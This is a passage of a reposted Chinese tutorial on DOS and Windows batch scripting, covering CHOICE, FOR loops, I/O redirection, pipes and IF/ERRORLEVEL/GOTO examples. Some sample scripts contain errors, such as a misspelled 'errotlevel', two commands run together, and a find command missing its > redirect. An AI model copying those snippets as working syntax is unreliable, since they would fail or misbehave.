指定提示之前要显示的消息。如果没有指定,工具只 显示提示。 /? 显示帮助消息。 注意: ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选 择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择, 该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的 ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降 序排列。 示例: CHOICE /? CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" CHOICE /T 10 /C ync /CS /D y CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。" CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。" 如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。" 屏幕上会显示: 确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]? 例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列): @echo off choice /C dme /M "defrag,mem,end" if errorlevel 3 goto end if errorlevel 2 goto mem if errotlevel 1 goto defrag :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此批处理运行后,将显示“defrag,mem,end[D,M,E]?” ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,批处理运行结束。 for 循环命令,只要条件符合,它将多次执行同一命令。 语法: 对一组文件中的每一个文件执行某个特定命令。 FOR %%variable IN (set) DO command [command-parameters] %%variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 例如一个批处理文件中有一行: for %%c in (*.bat *.txt) do type %%c 则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。 重定向操作可以使用重定向操作符将命令输入和输出数据流从默认位置重定向到其他位置。输入或输出数据流的位置称为句柄。
下表将列出可用的句柄。
句柄 句柄的数字代号 描述STDIN
0
键盘输入
STDOUT
1
输出到命令提示符窗口
STDERR
2
错误输出到命令提示符窗口
UNDEFINED
3-9
句柄由应用程序单独定义,它们是各个工具特有的
数字 0 到 9 代表前 10 个句柄。可以使用命令 Cmd.exe 运行程序,并对该程序前 10 个句柄中的任何一个句柄进行重定向。要指定要用的句柄,在重定向操作符之前键入该句柄的数字。如果未定义句柄,则默认的 < 重定向输入操作符是 0,而默认的 > 重定向输出操作符是 1。键入 < 或 > 操作符之后,必须指定数据的读写位置。可以指定文件名或其他现有的句柄。
要指定重定向到现有句柄,请使用与 (&) 字符,后面接要重定向的句柄号(即 &句柄号)。例如,下面的命令可以将句柄 2(即 STDERR)重定向到句柄 1(即 STDOUT):
2>&1
重定向输入"<"要通过键盘将输入重定向到文件或设备,使用 "< "操作符。
例如,要从 File.txt 获取 sort 命令的输入,键入:
sort<file.txt
File.txt 的内容将以字母顺序列表的方式显示在命令提示符窗口中。
"< "操作符可以打开具有只读访问权限的指定文件名。因此,不能在使用该操作符时向文件中写入信息。例如,如果以 <&2 启动程序,则所有试图读取句柄 0 的操作都将失败,因为句柄 2 最初是以只写访问方式打开的。
注意
?0 是 < 重定向输入操作符的默认句柄。
重定向输出">"几乎所有的命令都将输出发送到命令提示符窗口。即使将输出发送到驱动器或打印机的命令也会在命令提示符窗口显示消息和提示。
要将输出从命令提示符窗口重定向到文件或设备,使用 > 操作符。可以在许多命令中使用该操作符
例如,要将 dir 输出重定向到 Dirlist.txt,键入:
dir>dirlist.txt
如果 Dirlist.txt 不存在,Cmd.exe 将创建该文件。如果 Dirlist.txt 存在,Cmd.exe 将使用 dir 命令的输出替换文件中的信息。
要运行 netsh routing dump 命令,然后将输出发送到 Route.cfg,键入:
netsh routing dump>c:\route.cfg
">" 操作符可以打开具有只写访问权限的指定文件。因此,不能使用该操作符读取文件。例如,如果使用重定向操作符 >&0 启动程序,则写入句柄 1 的所有尝试操作都将失败,因为句柄 0 最初是以只读访问方式打开的。
注意
?1 是 > 重定向输出操作符的默认句柄。
复制句柄重定向操作符" & "可以将输出或输入从一个指定句柄复制到另一个指定的句柄。
例如,要将 dir 输出发送到 File.txt 并将错误输出发送到 File.txt,键入:
dir>c:\file.txt 2>&1
复制句柄时,可以复制该句柄原状态的所有特性。例如,如果一个句柄具有只读访问的属性,则该句柄的所有副本都具有只读访问属性。不能将一个具有只读访问属性的句柄复制到另一个具有只写访问属性的句柄。
使用"&"操作符重定向输出和副本要将重定向输入操作符 "<" 与复制操作符 "&" 结合使用,指定的文件必须已经存在。如果输入文件存在,Cmd.exe 将以只读方式打开该文件,然后将文件包含的字符作为输入发送到此命令(如同从键盘输入一样)。如果指定了句柄,Cmd.exe 将指定的句柄复制到系统现有的句柄中。
例如,要以句柄 0 输入读取(即 STDIN)的方式打开 File.txt,键入:
< file.txt
要打开 File.txt,并在内容排序后将输出发送到命令提示符窗口(即 STDOUT),键入:
sort< file.txt
要查找 File.txt,然后将句柄 1(即 STDOUT)和句柄 2(即 STDERR)重定向到 Search.txt,键入:
findfile file.txt>search.txt 2<&1
要以句柄 0 输入读取(即 STDIN)的方式复制用户定义的句柄 3,键入:
<&3
使用"&"操作符重定向输出和复制如果将输出重定向到文件且指定了现有的文件名,Cmd.exe 将以只写方式打开文件并覆盖该文件内容。如果指定了句柄,Cmd.exe 将文件复制到现有句柄中。
要将用户定义的句柄 3 复制到句柄 1,键入:
>&3
要将包括句柄 2(即 STDERR)的所有输出从 ipconfig 命令重定向到句柄 1(即 STDOUT),然后将输出重定向到 Output.log,键入:
ipconfig.exe>>output.log 2>&1
使用">>"重定向操作符附加输出要从命令中将输出添加到文件末尾而不丢失文件中已存在的任何信息,请使用两个连续的大于号(即 >>)。
例如,使用下列命令可以将 dir 命令生成的目录列表附加到 Dirlist.txt 文件:
dir>>dirlist.txt
要将 netstat 命令的输出附加到 Tcpinfo.txt 的末尾,键入:
netstat>>tcpinfo.txt
使用管道操作符"|"管道操作符 (|) 可以提取一个命令的输出(默认情况下是 STDOUT),然后将其定向到另一个命令的输入(默认情况下是 STDIN)中。
例如,使用下面的命令可以对目录进行分类:
dir | sort
在本例中,将同时启动两个命令,但随后 sort 命令会暂停,直到它接收到 dir 命令的输出为止。sort 命令使用 dir 命令的输出作为输入,然后将输出发送到句柄 1(即 STDOUT)。
合并带重定向操作符的命令通过合并带有其他命令和文件名的筛选器命令,可以创建自定义命令。
例如,可以使用以下命令存储包含“LOG”字符串的文件名:
dir /b | find "log" loglist.txt
dir 命令的输出是通过 find 筛选器命令进行发送的。包含字符串“LOG”的文件名作为文件名列表(例如,NetshConfig.log、Logdat.svd 和 Mylog.bat)存储在文件 Loglist.txt 中。
要在相同命令中使用多个筛选器,使用管道 (|) 分隔筛选器。
例如,下面的命令将搜索 C 盘上的每个目录以查找包含“LOG”字符串的文件名,并且在命令提示符窗口中每次显示一屏:
dir c:\ /s /b | find "log" | more
批处理示例 IF-EXIST 1) 首先用记事本在C:\建立一个test1.bat批处理文件,文件内容如下: @echo off IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist 然后运行它: C:\>TEST1.BAT 如果C:\存在AUTOEXEC.BAT文件,那么它的内容就会被显示出来,如果不存在,批处理就会提示你该文件不存在。 2) 接着再建立一个test2.bat文件,内容如下: @ECHO OFF IF EXIST \%1 TYPE \%1 IF NOT EXIST \%1 ECHO \%1 does not exist 执行: C:\>TEST2 AUTOEXEC.BAT 该命令运行结果同上。 说明: (1) IF EXIST 是用来测试文件是否存在的,格式为 IF EXIST [路径+文件名] 命令 (2) test2.bat文件中的%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1~%9(%0表示test2命令本身) ,这有点象编程中的实参和形参的关系,%1是形参,AUTOEXEC.BAT是实参。 3) 更进一步的,建立一个名为TEST3.BAT的文件,内容如下: @echo off IF "%1" == "A" ECHO XIAO IF "%2" == "B" ECHO TIAN IF "%3" == "C" ECHO XIN 如果运行: C:\>TEST3 A B C 屏幕上会显示: XIAO TIAN XIN 如果运行: C:\>TEST3 A B 屏幕上会显示 XIAO TIAN 在这个命令执行过程中,DOS会将一个空字符串指定给参数%3。 IF-ERRORLEVEL 建立TEST4.BAT,内容如下: @ECHO OFF XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败 IF ERRORLEVEL 0 ECHO 成功拷贝文件 然后执行文件: C:\>TEST4 如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。 IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。 因此下面的批处理文件是错误的: @ECHO OFF XCOPY C:\AUTOEXEC.BAT D:\ IF ERRORLEVEL 0 ECHO 成功拷贝文件 IF ERRORLEVEL 1 ECHO 未找到拷贝文件 IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 无论拷贝是否成功,后面的: 未找到拷贝文件 用户通过ctrl-c中止拷贝操作 预置错误阻止文件拷贝操作 拷贝过程中写盘错误 都将显示出来。 以下就是几个常用命令的返回值及其代表的意义: backup 0 备份成功 1 未找到备份文件 2 文件共享冲突阻止备份完成 3 用户用ctrl-c中止备份 4 由于致命的错误使备份操作中止 diskcomp 0 盘比较相同 1 盘比较不同 2 用户通过ctrl-c中止比较操作 3 由于致命的错误使比较操作中止 4 预置错误中止比较 diskcopy 0 盘拷贝操作成功 1 非致命盘读/写错 2 用户通过ctrl-c结束拷贝操作 3 因致命的处理错误使盘拷贝中止 4 预置错误阻止拷贝操作 format 0 格式化成功 3 用户通过ctrl-c中止格式化处理 4 因致命的处理错误使格式化中止 5 在提示“proceed with format(y/n)?”下用户键入n结束 xcopy 0 成功拷贝文件 1 未找到拷贝文件 2 用户通过ctrl-c中止拷贝操作 4 预置错误阻止文件拷贝操作 5 拷贝过程中写盘错误 IF STRING1 == STRING2 建立TEST5.BAT,文件内容如下: @echo off IF "%1" == "A" formAT A: 执行: C:\>TEST5 A 屏幕上就出现是否将A:盘格式化的内容。 注意:为了防止参数为空的情况,一般会将字符串用双引号(或者其它符号,注意不能使用保留符号)括起来。 如:if [%1]==[A] 或者 if %1*==A* GOTO 建立TEST6.BAT,文件内容如下: @ECHO OFF IF EXIST C:\AUTOEXEC.BAT GOTO _COPY GOTO _DONE :_COPY COPY C:\AUTOEXEC.BAT D:\ :_DONE 注意: (1) 标号前是ASCII字符的冒号":",冒号与标号之间不能有空格。 (2) 标号的命名规则与文件名的命名规则相同。 (3) DOS支持最长八位字符的标号,当无法区别两个标号时,将跳转至最近的一个标号。 FOR 建立C:\TEST7.BAT,文件内容如下: @ECHO OFF FOR %C IN (*.BAT *.TXT *.SYS) DO TYPE %C 运行: C:>TEST7 执行以后,屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来(不包括隐藏文件).郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。